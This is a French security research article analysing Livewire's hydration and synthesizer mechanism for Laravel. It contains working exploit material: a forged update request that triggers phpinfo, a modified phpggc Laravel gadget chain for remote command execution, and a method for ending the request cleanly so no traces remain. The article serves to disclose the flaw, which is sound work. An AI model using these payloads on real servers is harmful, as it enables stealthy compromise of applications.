Livewire : exécution de commandes à distance via unmarshaling
Livewire révolutionne le développement Laravel en fournissant des interfaces web interactives et temps réel basées uniquement sur PHP et Blade. Il supprime ainsi le besoin de frameworks JavaScript lourds. Son système de réhydratation innovant instancie et restaure de manière transparente l’état des composants, en prenant en charge des types de données complexes.
Cependant, ce mécanisme présente une vulnérabilité critique : un processus de désérialisation dangereux peut être exploité dès lors qu’un attaquant possède l’APP_KEY de l’application. En forgeant des charges utiles malveillantes, les attaquants peuvent manipuler le processus de réhydratation de Livewire afin d’exécuter du code arbitraire, allant de simples appels de fonctions jusqu’à l’exécution discrète de commandes à distance.
Enfin, nos recherches ont mis en évidence une vulnérabilité d’exécution de code à distance sans authentification dans Livewire, exploitable même sans connaître l’APP_KEY de l’application. En analysant le mécanisme de réhydratation récursif de Livewire, nous avons découvert que des attaquants pouvaient injecter des synthesizers malveillants via le champ updates des requêtes Livewire, en tirant parti du typage faible de PHP et de la gestion des tableaux imbriqués. Cette technique contourne la validation par somme de contrôle, permet l’instanciation arbitraire d’objets et conduit à une compromission complète du système.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Introduction
Livewire est rapidement devenu l’un des frameworks full-stack les plus populaires pour Laravel, permettant aux développeurs de créer des interfaces dynamiques et en temps réel avec un minimum de JavaScript. En 2025, Livewire est utilisé dans plus de 30 % des nouveaux projets Laravel, selon des enquêtes communautaires et les tendances GitHub, ce qui en fait un pilier du développement Laravel moderne.
Selon builtwith, il existe actuellement plus de 130 000 instances publiques d’applications basées sur Livewire.
Livewire s’appuie sur les concepts de hydration et de dehydration pour gérer l’état des composants. Lorsqu’un composant est dehydrated, son état est sauvegardé et envoyé au frontend accompagné d’un checksum. Lors de la rehydration, le serveur vérifie ce checksum avant de restaurer l’état du composant. Ce mécanisme garantit que l’état du composant n’a pas été altéré pendant le transit.
Cet article vise à décrire en détail le mécanisme d’hydration ainsi qu’une instanciation de gadget chain que nous avons identifiée, permettant à un attaquant d’aboutir à une exécution de commandes à distance furtive en exploitant ce mécanisme dès lors qu’il est en possession de l’APP_KEY de l’application.
Mécanisme d'hydration de Livewire
Livewire utilise les concepts d'hydratation et de déshydratation pour gérer les états des composants. Lorsqu'un composant est déshydraté, son état est sauvegardé et envoyé vers le frontend avec un checksum. Lors de la réhydratation, le serveur vérifie ce checksum avant de restaurer l'état du composant. Cela garantit que l'état du composant n'a pas été altéré pendant le transfert.
Exemple d'une chaîne de mise à jour de Livewire
Commençons par examiner comment Livewire est intégré dans un projet Laravel afin de mieux comprendre son fonctionnement et sa finalité.
Considérons l’exemple suivant : un composant basique qui incrémente ou décrémente un compteur. Un composant Livewire peut être mis en place avec seulement trois fichiers :
- Un composant stocké dans
app/Livewire/:
// app/Livewire/Counter.php
<?php
namespace App\Livewire;
use Livewire\Component;
class Counter extends Component
{
public $count;
public function increment()
{
$this->count++;
}
public function decrement()
{
$this->count--;
}
public function render()
{
return view('livewire.counter');
}
}
- Une route qui référence ce composant :
// routes/web.php
<?php
use Illuminate\Support\Facades\Route;
use App\Livewire\Counter;
Route::get('/counter', Counter::class);
- Une référence Blade dans le composant :
// resources/views/livewire/counter.blade.php
<div>
@if($count)
<h1>{{$count}}</h1>
@endif
<button wire:click="increment">+</button>
<button wire:click="decrement">-</button>
</div>
Lorsque l’utilisateur déclenche l’action increment côté frontend, une requête POST est envoyée au serveur afin de mettre à jour l’état du composant.
La requête envoyée est la suivante :
POST /livewire/update HTTP/1.1
Host: livewire.local
[...]
{
"_token":"jMEN2kTQRrwSA5CgH5y8WWqbCpdb4Lx4iBznnlFD",
"components":[
{
"snapshot":"{\"data\":{\"count\":3},\"memo\":{\"id\":\"Y6a883cdUFy82whZ10JW\",\"name\":\"counter\",\"path\":\"counter\",\"method\":\"GET\",\"children\":[],\"scripts\":[],\"assets\":[],\"errors\":[],\"locale\":\"en\"},\"checksum\":\"f56c273c0e4a3eaa5d7fdea9e7142c42d0e1128a8aee35e9546baffaa41870ac\"}",
"updates":{},
"calls":[
{
"path":"",
"method":"increment",
"params":[]
}
]
}
]
}
Dans cette requête, deux champs sont particulièrement importants. Tout d’abord, le champ components->snapshot contient l’ensemble des informations sérialisées nécessaires pour restaurer l’état du composant côté serveur, y compris les propriétés et leurs valeurs. Ensuite, le champ components->calls définit la liste des méthodes devant être appelées sur le composant, ainsi que les paramètres associés.
{
"data":{
"count":3
},
"memo":{
"id":"Y6a883cdUFy82whZ10JW",
"name":"counter",
"path":"counter",
"method":"GET",
"children":[
],
"scripts":[
],
"assets":[
],
"errors":[
],
"locale":"en"
},
"checksum":"f56c273c0e4a3eaa5d7fdea9e7142c42d0e1128a8aee35e9546baffaa41870ac"
}
La variable components->snapshot->data stocke l’état du composant. Les propriétés de types simples sont transmises sous forme de JSON brut (par exemple count dans l’exemple précédent), tandis que les types complexes peuvent également être sérialisés à l’aide de ce que Livewire appelle des Synthesizers.
Livewire synthesizers
Les Synthesizers fournissent un mécanisme permettant de définir comment ces types personnalisés doivent être sérialisés en JSON (dehydrated) et désérialisés depuis le JSON (hydrated) lors des échanges entre le client et le serveur. Cela garantit que l’état de ces propriétés est correctement maintenu d’une requête à l’autre. En implémentant des Synthesizers personnalisés, les développeurs peuvent étendre les fonctionnalités de Livewire afin de reconnaître et de gérer différents types de propriétés utilisés dans leurs applications, renforçant ainsi la flexibilité des composants Livewire.
Pour être considéré comme un synthesizer, une vérification est effectuée par Livewire sur chaque élément de la payload en utilisant la fonction isSyntheticTuple.
1 <?php
2
3 namespace Livewire\Drawer;
4
5 class BaseUtils
6 {
7 static function isSyntheticTuple($payload) {
8 return is_array($payload)
9 && count($payload) === 2
10 && isset($payload[1]['s']);
11 }
12
13 [...]
14
15 }
La fonction PHP statique Livewire\Drawer\isSyntheticTuple($payload) vérifie si la $payload fournie (élément de données du snapshot) correspond à une structure spécifique : elle valide d’abord que la $payload est un array (ligne 8), puis s’assure qu’il contient exactement deux éléments (ligne 9), et confirme enfin que le second élément (ligne 10) est un array contenant la clé 's'. Si toutes ces conditions sont remplies, la fonction retourne true, indiquant que $payload est un synthetic tuple et qu’il doit être hydrated.
À titre d’exemple, le snapshot suivant contient l’élément stdClass, qui sera hydrated en tant que PHP stdClass par Livewire :
{
"data": {
"count": 1,
"stdClass": [
{
"foo": "bar"
},
{
"s": "std"
}
]
},
"memo": {
"id": "f4Ed5D3MrzEN48IeQytO",
"name": "counter",
"path": "counter",
"method": "GET",
"children": [],
"scripts": [],
"assets": [],
"errors": [],
"locale": "en"
},
"checksum": "ed40577cb46a002e84fc26c0852b801a9c7476f823f20bc315660847958bc1ca"
}
Par défaut, les Synthesizers suivants sont disponibles :
-
wrbl : Une valeur writable est hydratée et déshydratée à l’aide d’une interface d’écriture basique.
-
elcln : Une collection Eloquent est hydratée et déshydratée comme un ensemble de modèles Eloquent.
-
mdl : Un modèle Eloquent est hydraté et déshydraté via la sérialisation de son identifiant.
-
form : Un objet form est hydraté et déshydraté en conservant ses propriétés publiques internes.
-
fil : Un objet d’upload de fichier est hydraté et déshydraté afin de gérer les références de fichiers temporaires.
-
cbn : Une instance de date Carbon est hydratée et déshydratée en sérialisant son timestamp ou son format ISO.
-
clctn : Une collection Laravel est hydratée et déshydratée par conversion vers et depuis des tableaux.
-
str : Un objet Stringable est hydraté et déshydraté via sa représentation sous forme de chaîne de caractères.
-
enm : Un cas d’Enum est hydraté et déshydraté en sérialisant sa valeur ou son nom.
-
std : Un objet standard
stdClassest hydraté et déshydraté en traitant ses propriétés comme un tableau associatif. -
arr : Un tableau PHP simple est hydraté et déshydraté sans transformation.
-
int : Une valeur entière est hydratée et déshydratée directement.
-
float : Une valeur flottante est hydratée et déshydratée directement.
La liste des Synthesizers disponibles peut être consultée directement dans le code source de Livewire, plus précisément dans le fichier vendor/livewire/livewire/src/Mechanisms/HandleComponents/HandleComponents.php :
<?php
//[...]
protected $propertySynthesizers = [
Synthesizers\CarbonSynth::class,
Synthesizers\CollectionSynth::class,
Synthesizers\StringableSynth::class,
Synthesizers\EnumSynth::class,
Synthesizers\StdClassSynth::class,
Synthesizers\ArraySynth::class,
Synthesizers\IntSynth::class,
Synthesizers\FloatSynth::class
];
/[...]
De plus, toute classe qui étend la classe de base Synth peut être utilisée comme synthesizer. Cela ouvre la possibilité pour les développeurs d’enregistrer leurs propres types personnalisés et de permettre à Livewire de les gérer aussi simplement que les types intégrés.
Hydrateurs disponibles intéressants
Les Synthesizers sont conçus pour sérialiser et désérialiser des objets PHP spécifiques. Pour chaque hydrateur disponible, la méthode hydrate est appelée avec les données devant être hydratées, lesquelles peuvent être transmises soit sous forme de type scalaire, soit sous forme de tuple de métadonnées. Un point intéressant est que certains hydrateus prennent en charge les objets imbriqués et permettent donc une hydration récursive des objets. Ci-dessous, un schéma illustre le fonctionnement de cette hydration récursive :
Dans le contexte de Livewire, un hydrateur permet essentiellement à un utilisateur d’appeler le constructeur de n’importe quel objet du projet.

CollectionSynth
La classe CollectionSynth est utilisée pour gérer la manière dont les objets de type collection sont traités lors des processus de dehydration et d’hydration des composants. Son rôle est de s’assurer que, lorsque les données transitent entre le frontend et le backend, les collections PHP (comme les instances de Collection de Laravel) sont correctement reconstruites.
1 <?php
2
3 namespace Livewire\Mechanisms\HandleComponents\Synthesizers;
4
5 class CollectionSynth extends ArraySynth {
6 public static $key = 'clctn';
7 [...]
8 function hydrate($value, $meta, $hydrateChild) {
9 foreach ($value as $key => $child) {
10 $value[$key] = $hydrateChild($key, $child);
11 }
12 return new $meta['class']($value);
13 }
14 }
La classe définit une propriété statique $key définie à clctn, qui sert d’identifiant. Cette clé est utilisée en interne par Livewire pour associer les données sérialisées à la classe CollectionSynth lors de la phase d’hydration.
Lorsque la méthode hydrate est appelée, elle reçoit une variable $value, qui représente les données sérialisées de la collection, un tableau $meta contenant des métadonnées (comme le nom de la classe d’origine), ainsi qu’un callback $hydrateChild utilisé pour traiter individuellement chaque élément de la collection. La variable $value est d’abord parcourue, et chaque élément est passé à la fonction $hydrateChild afin de s’assurer que les types imbriqués ou complexes sont correctement réhydratés. Une fois tous les éléments traités, une nouvelle instance de la classe de collection d’origine est créée à partir du tableau reconstruit.
En résumé, CollectionSynth est le composant qui permet à Livewire de préserver l’intégrité et le comportement des objets de type collection PHP lors des échanges entre le frontend et le backend, en garantissant que les collections renvoyées par le navigateur sont restaurées sous leur forme PHP correcte.
FormObjectSynth
La classe FormObjectSynth est utilisée pour gérer la (dé)hydration des "form objects" spéciaux associés à un composant Livewire, tout en s’assurant qu’ils restent correctement liés au contexte du composant.
1 <?php
2
3 namespace Livewire\Features\SupportFormObjects;
4
5 class FormObjectSynth extends Synth {
6 public static $key = 'form';
7
8
9 function hydrate($data, $meta, $hydrateChild)
10 {
11 $form = new $meta['class']($this->context->component, $this->path);
12 $callBootMethod = static::bootFormObject($this->context->component, $form, $this->path);
13
14 foreach ($data as $key => $child) {
15 if ($child === null && Utils::propertyIsTypedAndUninitialized($form, $key)) {
16 continue;
17 }
18
19 $form->$key = $hydrateChild($key, $child);
20 }
21 $callBootMethod();
22 return $form;
23 }
24 }
La classe définit une propriété statique $key définie à form, qui agit comme un identifiant permettant à Livewire de reconnaître les données sérialisées devant être prises en charge par FormObjectSynth. Lors de l’hydration, la méthode hydrate est appelée avec les paramètres $data, $meta et un callback $hydrateChild. Le tableau $meta contient des métadonnées, notamment le nom de la classe de l’objet form à instancier. Bien que $meta soit contrôlé par l’utilisateur, les valeurs $this->context et $this->path utilisées lors de l’instanciation ne le sont pas, ce qui implique que seuls les objets dont le constructeur accepte deux paramètres faiblement typés ou moins (généralement le composant et un chemin) peuvent être instanciés avec succès.
À l’intérieur de la méthode hydrate, un nouvel objet form est créé, puis une méthode boot est appelée de manière optionnelle afin de l’initialiser davantage. Ensuite, une boucle parcourt le tableau $data (présent dans le snapshot), qui représente les champs du formulaire sérialisés. Chaque champ est passé à $hydrateChild pour permettre la restauration des structures imbriquées. Les valeurs ainsi hydratées sont ensuite affectées directement aux propriétés publiques correspondantes de l’objet form. Par conséquent, toute propriété publique de l’objet instancié peut être définie avec des valeurs contrôlées, offrant une grande flexibilité pour reconstruire l’état interne de l’objet à partir des données entrantes.
En résumé, FormObjectSynth permet à Livewire de reconstruire les objets de formulaire attachés aux composants, en s’assurant qu’ils sont entièrement hydratés avec la structure et les valeurs appropriées lorsqu’ils sont reçus depuis le frontend.
ModelSynth
La classe ModelSynth est chargée de gérer la (dé)hydration des objets modèles lors des échanges entre le frontend et le backend. Son objectif principal est de reconstruire correctement les modèles Eloquent, ou les objets de type modèle, à partir de données sérialisées.
1 <?php
2
3 namespace Livewire\Features\SupportModels;
4
5 class ModelSynth extends Synth {
6 use SerializesAndRestoresModelIdentifiers;
7
8 public static $key = 'mdl';
9 [...]
10 function hydrate($data, $meta) {
11 $class = $meta['class'];
12
13 // If no alias found, this returns `null`
14 $aliasClass = Relation::getMorphedModel($class);
15
16 if (! is_null($aliasClass)) {
17 $class = $aliasClass;
18 }
19 // If no key is provided then an empty model is returned
20 if (! array_key_exists('key', $meta)) {
21 return new $class;
22 }
23
24 [...]
25 }
26 }
La classe définit une propriété statique $key définie à 'mdl', qui associe ce synthesizer à toute donnée représentant un modèle. Lorsque la méthode hydrate est invoquée, elle reçoit $data et $meta, où $meta contient les informations de classe nécessaires à la reconstruction. Le nom de la classe est d’abord récupéré depuis $meta['class']. Ensuite, si un alias morph existe pour cette classe (vérifié via Relation::getMorphedModel), celui-ci est résolu, sinon, la classe d’origine est utilisée.
Si aucune clé spécifique n’est fournie dans le tableau $meta, ce qui indique qu’aucune clé primaire n’est disponible pour récupérer un modèle persisté, une nouvelle instance de la classe est simplement créée à l’aide d’un constructeur vide. Cela se produit à la ligne 21, où new $class est appelé sans argument. Dans ce contexte, le rôle du synthesizer se limite à instancier un objet sans paramètres, en supposant que la classe dispose d’un constructeur sans argument ou avec des valeurs par défaut pour l’ensemble de ses paramètres.
En résumé, ModelSynth garantit que des instances de modèles peuvent être recréées même lorsque seul leur nom de classe est disponible, en revenant à une instanciation à blanc lorsque cela est nécessaire afin de préserver le bon fonctionnement des composants Livewire.
Checksum
Livewire génère un condensat (ou checksum) à partir des données envoyées au frontend. Ce checksum est créé à l’aide d’un algorithme de hachage sécurisé, tel que SHA-256, et inclut des informations chiffrées en interne. Cela garantit que les données n’ont pas été altérées entre leur envoi par le serveur et leur réception par le client.
1 <?php
2
3 namespace Livewire\Mechanisms\HandleComponents;
4
5 use function Livewire\trigger;
6
7 class Checksum {
8 static function verify($snapshot) {
9 $checksum = $snapshot['checksum'];
10
11 unset($snapshot['checksum']);
12
13 trigger('checksum.verify', $checksum, $snapshot);
14
15 if ($checksum !== $comparitor = self::generate($snapshot)) {
16 trigger('checksum.fail', $checksum, $comparitor, $snapshot);
17
18 throw new CorruptComponentPayloadException;
19 }
20 }
21
22 static function generate($snapshot) {
23 $checksum = hash_hmac('sha256', json_encode($snapshot), $hashKey);
24
25 trigger('checksum.generate', $checksum, $snapshot);
26
27 return $checksum;
28 }
29 }
Construction de la chaîne de gadget
Afin d’exploiter ce processus d’hydration, nous avons construit une chaîne d'exploitation complète basée sur son mécanisme d’instanciation. Cette partie détaille chaque étape que nous avons suivie ainsi que la logique employée pour la rendre exploitable. Pour ce faire, nous avons utilisé le synthesizer clctn, car il permet d’instancier des classes arbitraires dont le constructeur accepte un tableau en paramètre.
Les méthodes PHP magiques
En PHP, plusieurs méthodes magiques sont utilisées tout au long du cycle de vie d’un objet. Dans le contexte d’une chaîne __construct, les méthodes suivantes sont particulièrement pertinentes :
-
__construct: Cette méthode agit comme le constructeur de la classe. Elle est automatiquement appelée lorsqu’un nouvel objet est créé à l’aide du mot-clénew, par exemple :new Obj(param1, param2). -
__toString: La méthode__toStringest invoquée lorsqu’un objet doit être représenté sous forme de chaîne de caractères. Par exemple, lors de l’utilisation deprint($obj), PHP appelle automatiquement$obj->__toString()afin d’obtenir la représentation textuelle de l’objet. -
__destruct: Connue comme le destructeur, cette méthode est automatiquement appelée lorsqu’un objet n’est plus utilisé, généralement lorsqu’il sort de portée ou à la fin de l’exécution du script. Elle permet d’effectuer des opérations de nettoyage avant que l’objet ne soit complètement libéré. -
__invoke: Cette méthode est déclenchée lorsqu’un objet est utilisé comme une fonction, c’est-à-dire lorsqu’un script tente d’appeler directement un objet, par exemple :$obj().
Des explications détaillées concernant ces méthodes magiques (ainsi que d’autres) sont disponibles dans la documentation PHP.
Première étape : Exécuter phpinfo
Pour exécuter la fonction phpinfo, deux classes PHP sont nécessaires : GuzzleHttp\Psr7\FnStream et League\Flysystem\UrlGeneration\ShardedPrefixPublicUrlGenerator.
La première, FnStream, est définie comme suit :
1 <?php
2
3 namespace GuzzleHttp\Psr7;
4
5 use Psr\Http\Message\StreamInterface;
6
7 final class FnStream implements StreamInterface
8 {
9
10 public function __construct(array $methods)
11 {
12 $this->methods = $methods;
13 // Create the functions on the class
14 foreach ($methods as $name => $fn) {
15 $this->{'_fn_'.$name} = $fn;
16 }
17 }
18
19 public function __destruct()
20 {
21 if (isset($this->_fn_close)) {
22 ($this->_fn_close)();
23 }
24 }
25
26 public function __toString(): string
27 {
28 try {
29 /** @var string */
30 return ($this->_fn___toString)();
31 } catch (\Throwable $e) {
32 if (\PHP_VERSION_ID >= 70400) {
33 throw $e;
34 }
35 trigger_error(sprintf('%s::__toString exception: %s', self::class, (string) $e), E_USER_ERROR);
36
37 return '';
38 }
39 }
40 }
Dans cette classe, le constructeur accepte un tableau en paramètre. Chaque paire clé-valeur de ce tableau est assignée dynamiquement à l’objet sous la forme d’une propriété de type méthode, préfixée par _fn_. Par exemple, si le tableau contient une clé __toString, cela créera la propriété $this->_fn___toString. Cela signifie que l’objet peut répondre dynamiquement à certaines méthodes magiques PHP en fonction de fonctions fournies par l’utilisateur.
Le destructeur __destruct est automatiquement appelé lorsque l’objet n’est plus référencé ou à la fin de l’exécution du script. Si la méthode spéciale _fn_close a été définie via le constructeur, celle-ci est appelée à ce moment-là, ce qui permet d’exécuter du code lors de la destruction de l’objet.
La méthode __toString est appelée pour convertir un objet en chaîne de caractères. Elle tente d’appeler la fonction dynamique _fn___toString précédemment créée.
La seconde classe impliquée est ShardedPrefixPublicUrlGenerator, définie ci-dessous :
1 <?php
2
3 namespace League\Flysystem\UrlGeneration;
4
5 final class ShardedPrefixPublicUrlGenerator implements PublicUrlGenerator
6 {
8 private array $prefixes;
9 private int $count;
10
11 public function __construct(array $prefixes)
12 {
13 $this->count = count($prefixes);
14
15 if ($this->count === 0) {
16 throw new InvalidArgumentException('At least one prefix is required.');
17 }
18
19 $this->prefixes = array_map(
20 static _fn(string $prefix) => new PathPrefixer($prefix, '/'),
21 $prefixes);
22 }
23
24 }
{
"_token": "kRzCxuIKxdKDKzMZicOa82zwdSe9Q2SWPLCdHoVw",
"components": [
{
"snapshot": "{\"data\":{\"count\":[{\"file_path\":[{\"__toString\":\"phpinfo\"},{\"s\":\"clctn\",\"class\":\"GuzzleHttp\\\\Psr7\\\\FnStream\"}]},{\"class\":\"League\\\\Flysystem\\\\UrlGeneration\\\\ShardedPrefixPublicUrlGenerator\",\"s\":\"clctn\"}]},\"memo\":{\"id\":\"91wbKENP2UIzjEK4pHi2\",\"name\":\"counter\",\"path\":\"counter\",\"method\":\"GET\",\"children\":[],\"scripts\":[],\"assets\":[],\"errors\":[],\"locale\":\"en\"},\"checksum\":\"5d8f2f606f8309d12b68e5f895f3ff69eeb4da5ccd77430971d850d860ce38a8\"}",
"updates": {},
"calls": [
{
"path": "",
"method": "increment",
"params": []
}
]
}
]
}
Le champ snapshot de cette requête, une fois décodé, contient :
[
{
"file_path": [
{
"__toString": "phpinfo"
},
{
"s": "clctn",
"class": "GuzzleHttp\\Psr7\\FnStream"
}
]
},
{
"class": "League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator",
"s": "clctn"
}
]
Cette structure de données déclenche l’instanciation d’un objet FnStream, dans lequel la méthode __toString est liée dynamiquement à un appel de la fonction phpinfo. Ensuite, un objet ShardedPrefixPublicUrlGenerator est instancié et reçoit un tableau contenant l’objet FnStream.
Étant donné que ShardedPrefixPublicUrlGenerator applique array_map avec une fonction attendant une chaîne de caractères, PHP tente de convertir l’objet FnStream en string. Cette opération entraîne l’appel interne de la méthode __toString définie précédemment, laquelle exécute, dans ce cas précis, la fonction phpinfo.
En résumé, cette chaîne logique exploite soigneusement les méthodes magiques de PHP, les contraintes de typage et le système d’hydration de Livewire. Elle permet l’exécution dynamique de fonctions arbitraires lors du traitement de données sérialisées, en tirant parti du comportement naturel de __toString, __destruct et de structures d’hydration contrôlées. L’envoi de cette payload entraîne l’exécution de la fonction phpinfo :
Comme expliqué précédemment, le schéma d’hydration récursive menant à l’exécution de phpinfo est le suivant :
Deuxième étape : Obtenir une exécution de commandes
Afin d’aboutir à une exécution de commandes à distance, d’autres gadgets doivent être identifiés, puisqu’il est nécessaire de pouvoir passer des arguments à une fonction contrôlée.
Le premier gadget présente une imprécision dans la déclaration de son constructeur (ligne 31) : celui-ci est faiblement typé. Il est donc possible de l’instancier via un CollectionSynth, ce qui permet de définir $this->closure comme un tableau. De plus, la méthode __invoke de cette classe (ligne 41) permet d’appeler n’importe quelle fonction grâce à l’utilisation de call_user_func_array. Cependant, les arguments seront vides, car ils ne sont pas contrôlés. À ce stade, toute fonction publique de n’importe quelle classe peut être appelée.
1 <?php
2
3 namespace Laravel\SerializableClosure\Serializers;
4
5 use Laravel\SerializableClosure\Contracts\Serializable;
6 use Laravel\SerializableClosure\Exceptions\InvalidSignatureException;
7 use Laravel\SerializableClosure\Exceptions\MissingSecretKeyException;
8
9 class Signed implements Serializable
10 {
11 /**
12 * The signer that will sign and verify the closure's signature.
13 *
14 * @var \Laravel\SerializableClosure\Contracts\Signer|null
15 */
16 public static $signer;
17
18 /**
19 * The closure to be serialized/unserialized.
20 *
21 * @var \Closure
22 */
23 protected $closure;
24
25 /**
26 * Creates a new serializable closure instance.
27 *
28 * @param \Closure $closure
29 * @return void
30 */
31 public function __construct($closure)
32 {
33 $this->closure = $closure;
34 }
35
36 /**
37 * Resolve the closure with the given arguments.
38 *
39 * @return mixed
40 */
41 public function __invoke()
42 {
43 return call_user_func_array($this->closure, func_get_args());
44 }
45 }
Dans ce code, le trait Queueable est intégré via le mot-clé use (ligne 11), ce qui rend ses propriétés et méthodes directement accessibles au sein de cette classe. La méthode dispatchNextJobInChain (ligne 19) est appelable, car la classe Laravel\SerializableClosure\Serializers\Signed permet au framework de sérialiser et désérialiser des closures de manière sécurisée afin qu’elles puissent être exécutées ultérieurement.
Un point critique apparaît à la ligne 22, où la fonction unserialize est appelée sur le tableau $this->chained. Étant donné que toutes les variables définies dans le trait Queueable sont publiques, elles peuvent être librement affectées via un form synthesizer, ce qui rend possible le contrôle du contenu de $this->chained. Sans ce niveau d’accessibilité, il n’aurait pas été possible d’influencer le processus de désérialisation de cette manière.
1 <?php
2
3 namespace Illuminate\Bus;
4
5 use Closure;
6 use Illuminate\Queue\CallQueuedClosure;
7 use Illuminate\Support\Arr;
8 use PHPUnit\Framework\Assert as PHPUnit;
9 use RuntimeException;
10
11 trait Queueable
12 {
13
14 public $chained = [];
16 public $chainQueue;
17 public $chainCatchCallbacks;
18
19 public function dispatchNextJobInChain()
20 {
21 if (! empty($this->chained)) {
22 dispatch(tap(unserialize(array_shift($this->chained)), function ($next) {
23 $next->chained = $this->chained;
24
25 $next->onConnection($next->connection ?: $this->chainConnection);
26 $next->onQueue($next->queue ?: $this->chainQueue);
27
28 $next->chainConnection = $this->chainConnection;
29 $next->chainQueue = $this->chainQueue;
30 $next->chainCatchCallbacks = $this->chainCatchCallbacks;
31 }));
32 }
33 }
34
35 }
Dans cette classe, le trait Queueable est inclus à la ligne 15, ce qui injecte directement dans BroadcastEvent les propriétés publiques du trait ainsi que son comportement lié à la mise en file d’attente. Le constructeur défini à la ligne 23 accepte le paramètre $event, là encore sans aucune restriction de type, il est donc faiblement typé et peut recevoir n’importe quel type de valeur.
Étant donné que la classe expose plusieurs propriétés publiques héritées du trait, un objet BroadcastEvent peut être instancié via un form synthesizer, permettant la réaffectation de ces variables publiques lors de la construction. Cette flexibilité rend possible l’extraction, par le constructeur, de propriétés optionnelles depuis l’instance $event fournie et leur application dynamique au nouveau job.
1 <?php
2
3 namespace Illuminate\Broadcasting;
4
5 use Illuminate\Bus\Queueable;
6 use Illuminate\Contracts\Broadcasting\Factory as BroadcastingFactory;
7 use Illuminate\Contracts\Queue\ShouldQueue;
8 use Illuminate\Contracts\Support\Arrayable;
9 use Illuminate\Support\Arr;
10 use ReflectionClass;
11 use ReflectionProperty;
12
13 class BroadcastEvent implements ShouldQueue
14 {
15 use Queueable;
16
17 /**
18 * Create a new job handler instance.
19 *
20 * @param mixed $event
21 * @return void
22 */
23 public function __construct($event)
24 {
25 $this->event = $event;
26 $this->tries = property_exists($event, 'tries') ? $event->tries : null;
27 $this->timeout = property_exists($event, 'timeout') ? $event->timeout : null;
28 $this->backoff = property_exists($event, 'backoff') ? $event->backoff : null;
29 $this->afterCommit = property_exists($event, 'afterCommit') ? $event->afterCommit : null;
30 $this->maxExceptions = property_exists($event, 'maxExceptions') ? $event->maxExceptions : null;
31 }
32
33 }
Laravel est particulièrement vulnérable aux exploits reposant sur la fonction unserialize. En effet, le framework contient des dizaines de deserialization payloads valides pouvant être exploitées pour parvenir à une exécution de commandes à distance.
Dans ce cas, nous avons généré une chaîne de gadgets avec l'outil phpggc, en choisissant le gadget Laravel/RCE4 développé par BlackFan, car il est valide pour n'importe quelle version de Laravel. En enchaînant le tout, nous avons construit la payload suivante, qui permet d'obtenir une exécution de commandes à distance sur le serveur :
Troisième étape : forcer l'arrêt du traitement de la requête pour ne pas laisser de traces
Construction d’une chaîne de gadgets dédiée pour poursuivre le flux
Afin d’obtenir une exécution de commandes furtive, la payload Laravel/RCE4 a dû être adaptée afin qu’il n’interrompe pas directement le flux d’exécution et ne provoque pas un crash du serveur avec une erreur 500.
Cette erreur est due au fait qu’après l’appel à unserialize dans la fonction dispatchNextJobInChain, le flux d’exécution du code n’est pas interrompu après l’exécution de code arbitraire. L’objet PendingBroadcast généré par la chaîne Laravel/RCE4 est incompatible avec ce processus : le type d’objet attendu est, dans la majorité des cas, un BroadcastEvent, lequel utilise le trait Queueable.
[...]
1 public function dispatchNextJobInChain()
2 {
3 if (! empty($this->chained)) {
4 dispatch(tap(unserialize(array_shift($this->chained)), function ($next) {
5 $next->chained = $this->chained;
6 $next->onConnection($next->connection ?: $this->chainConnection);
7 $next->onQueue($next->queue ?: $this->chainQueue);
8 $next->chainConnection = $this->chainConnection;
9 $next->chainQueue = $this->chainQueue;
10 $next->chainCatchCallbacks = $this->chainCatchCallbacks;
11 }));
12 }
13 }
Ainsi, afin de conserver l’exécution de commandes à distance déclenchée par PendingBroadcast, nous avons dû l’encapsuler à l’intérieur d’un BroadcastEvent pour maintenir le flux d’exécution PHP actif au sein de la fonction dispatchNextJobInChain.
Le gadget Laravel/RCE4 issu de phpggc a donc été adapté et renommé Laravel/RCE4Adapted :
- Dans le fichier
gadgets.php, on peut constater qu’une définition deBroadcastEventa été ajoutée afin de permettre au flux d’exécution d’atteindre correctement sa fin :
<?php
+ namespace Illuminate\Notifications
+ {
+ class Notification
+ {
+ }
+ }
+ namespace Illuminate\Broadcasting
+ {
+
+ class BroadcastEvent
+ {
+ public $dummy;
+ public $connection;
+ public $queue;
+ public $event;
+ public function __construct($dummy)
+ {
+ $this->dummy = $dummy; // Contains the PendingBroadcast object triggering RCE
+ $this->connection = null; // dispatchNextJobInChain line 6
+ $this->queue = null; // dispatchNextJobInChain line 7
+ $this->event = new \Illuminate\Notifications\Notification(); // crashes code flow in BroadcastEvent if undefined
+ }
+ }
+ }
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;
+ public static $onConnection = 1; // Crashes code flow in PendingBroadcast if not defined
function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation
{
class Validator
{
public $extensions;
function __construct($function)
{
$this->extensions = ['' => $function];
}
}
}
- Dans le fichier
chain.php, on peut observer que l’objet principal est désormais unBroadcastEvent, lequel contient lePendingBroadcastdéclenchant l’exécution de commandes à distance :
<?php
namespace GadgetChain\Laravel;
class RCE4Adapted extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '5.4.0 <= 8.6.9+';
public static $vector = '__destruct';
public static $author = 'Remsio, Worty';
public function generate(array $parameters)
{
$function = $parameters['function'];
$parameter = $parameters['parameter'];
+ return new \Illuminate\Broadcasting\BroadcastEvent(
+ new \Illuminate\Broadcasting\PendingBroadcast(
+ new \Illuminate\Validation\Validator($function),
+ $parameter
+ )
);
}
}
Grâce à toutes ces adaptations, le flux d’exécution n'est interrompu qu’après le mécanisme hydrate de Livewire, ce qui nous permet d’injecter un autre gadget avant qu’une erreur ne survienne !
Atteindre un appel à exit afin que le flux d’exécution PHP s’arrête proprement
La dernière étape nécessaire pour obtenir une fin propre du flux d’exécution du code consiste à atteindre un appel à die ou exit. Heureusement pour nous, la classe Laravel\Prompts\Terminal, a pu rapidement être identifiée, elle est en effet utilisée dans le gadget de désérialisation Laravel/RCE19 développé par Maxime Rinaudo.
1 <?php
2
3 namespace Laravel\Prompts;
4
5 use ReflectionClass;
6 use RuntimeException;
7 use Symfony\Component\Console\Terminal as SymfonyTerminal;
8
9 class Terminal
10 {
11
12 public function __construct()
13 {
14 $this->terminal = new SymfonyTerminal();
15 }
16
17 /**
18 * Exit the interactive session.
19 */
20 public function exit(): void
21 {
22 exit(1);
23 }
24
25 }
